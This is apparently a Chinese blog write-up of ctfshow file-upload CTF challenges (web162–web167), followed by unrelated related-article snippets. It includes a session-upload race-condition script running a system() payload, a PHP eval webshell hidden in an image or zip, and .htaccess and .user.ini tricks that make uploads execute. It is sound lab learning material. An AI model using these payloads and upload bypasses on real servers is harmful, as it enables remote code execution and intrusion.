ctfshow web入门 文件上传web162--web167

news/2024/11/17 3:30:24/

web162

session文件包含+条件竞争
直接包含不传马了

我们上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,没有用。但是如果我们上传的速度比服务器删的速度快,就可以了。
上传.user.ini

GIF89a
auto_append_file=/tmp/sess_hhh

这后面这个hhh,你们可以自己修改,把脚本的也改了就是
在这里插入图片描述 脚本

import requests
import threading
import resession = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {'file': 'yu22x tql'  #文件名,随便改就行
}
cookies = {'PHPSESSID': sess
}def write(): #上传文件竞争过程while True:r = session.post(url1, data=data1, files=file, cookies=cookies)def read():while True: #每次竞争完都访问一下url/uoload看有没有flagr = session.get(url2)if 'flag' in r.text:flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了print(flag.findall(r.text))threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()

在这里插入图片描述

web163

一样的操作,如上题,如果代码跑不出来,要么忘记改要么就是没有放包

web164

二次渲染,暂时不会

web165

二次渲染也是不会

web166

在这里插入图片描述

只能上传压缩文件,我们就在压缩文件末尾里面添加一句话木马就行了
在这里插入图片描述

然后进入下载页面的时候抓包(“下载文件的时候抓包”)
在这里插入图片描述点击下载文件不用抓包进入页面
在这里插入图片描述
在这里插入图片描述#### 本题总结可能你们并不觉得这道题难但是这道题确实难到我了,我做了很久总结一下可能错误的点
压缩文件太大或者太小导致上传不成功或者很难去

web167

在这里插入图片描述只能传jpg文件在这里插入图片描述上传图片马

m.png

<?php eval($_POST[a]);?>

访问upload没权限在这里插入图片描述查了一下要使用.htaccess对所有文件进行php解析
.htaccess

Sethandler application/x-httpd-php
<!-将该目录及子目录下的文件均按照php文件解析执行-->

在这里插入图片描述访问上传的文件,进行命令执行在这里插入图片描述


http://www.ppmy.cn/news/1412373.html

相关文章

【leetcode面试经典150题】6.轮转数组(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…

Mysql中将查询字段中间部分加密(CONCAT函数和SUBSTRING函数)

场景&#xff1a; 我想将openid字段和order_no字段前后保留4个字符&#xff0c;中间部分无论多长都用“******”进行替换掉&#xff0c;我应该怎么写sql&#xff1f; 示例&#xff1a; SELECT CONCAT(SUBSTRING(openid, 1, 4), ******, SUBSTRING(openid, LENGTH(openid) - …

25.11 MySQL 视图

1. 常见的数据库对象 对象描述表(TABLE)存储数据的逻辑单元, 以行和列的形式存在, 列就是字段, 行就是记录.数据字典系统表, 存放数据库相关信息的表. 数据通常由数据库系统维护, 程序员通常不可修改, 只可查看.约束(CONSTRAINT)执行数据校验的规则, 用于保证数据完整性的规则…

RISC-V 指令学习

学习资料&#xff1a;RISC-V原子指令LR/SC_lr sc-CSDN博客

Linux(Ubuntu)中创建【samba】服务,用于和Windows系统之间共享文件

目录 1.先介绍一下什么是Samba 2.安装&#xff0c;配置服务 安装 配置&#xff08;smb.conf&#xff09; 配置用户 3.出现的问题&#xff08;Failed to add entry for user XXXX&#xff09; 4.创建文件夹 5.windows访问 6.其他 Samba【服务状态】查看 Samba服务启动…

《看漫画学C++》第9章 直达记忆深处的数据类型——指针类型

C中最难的主题之一莫过于指针&#xff0c;《看漫画学C》通过漫画形式介绍知识。 上述知识点摘录于&#xff1a;《看漫画学C》第9章 直达记忆深处的数据类型——指针类型

pyaudio webrtcvad实现实时录制语音加VAD检测没人说话自动停止录制

vad检测没人说话超过2秒就自动停止录制并保存前面有人说话的音频文件 pip install webrtcvad代码: import pyaudio import wave import time import webrtcvadCHUNK = 320 # 20ms 的语音帧 FORMAT = pyaudio.paInt16 CHANNELS = 1 RATE = 16000 WAVE_OUTPUT_FILENAME

【matlab非线性规划工具箱安装2 GloptiPoly 3.10工具箱】

【matlab非线性规划工具箱安装2 GloptiPoly 3.10工具箱】 该博客是非线性手眼标定代码中所依赖的matlab工具箱的安装内容&#xff0c;除了进行手眼标定以外&#xff0c;该工具箱还可以用于其他的非线性规划问题 在安装该工具箱之前请先安装SeDuMi 手眼标定传送门&#xff1a…